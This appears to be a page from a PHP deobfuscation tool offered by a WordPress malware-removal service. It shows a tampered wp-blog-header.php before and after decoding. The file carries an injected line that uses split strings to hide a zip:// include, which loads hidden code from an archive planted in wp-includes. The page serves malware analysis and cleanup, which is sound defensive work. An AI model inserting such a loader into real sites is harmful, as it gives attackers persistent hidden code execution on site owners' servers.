PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php /** * Loads the WordPress environment and template. * * @package WordPress */ if ( ! isset( $wp_did_header ) ) { $wp_did_header = true; // Load the WordPress library. require_once DIR . '/wp-load.php'; include("zi"."p://wp-includes/cw1456.zip#cw1456"); // Set up the WordPress query. wp(...

Obfuscated php code

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';
        include("zi"."p://wp-includes/cw1456.zip#cw1456");
	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}

Decoded(de-Obfuscated) php code

<?php

/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
if (!isset($wp_did_header)) {
    $wp_did_header = true;
    // Load the WordPress library.
    require_once "/var/www/html/wp-load.php";
    include "zip://wp-includes/cw1456.zip#cw1456";
    // Set up the WordPress query.
    wp();
    // Load the theme template.
    require_once "ABSPATHWPINC/template-loader.php";
}

Malware detection & removal plugin for WordPress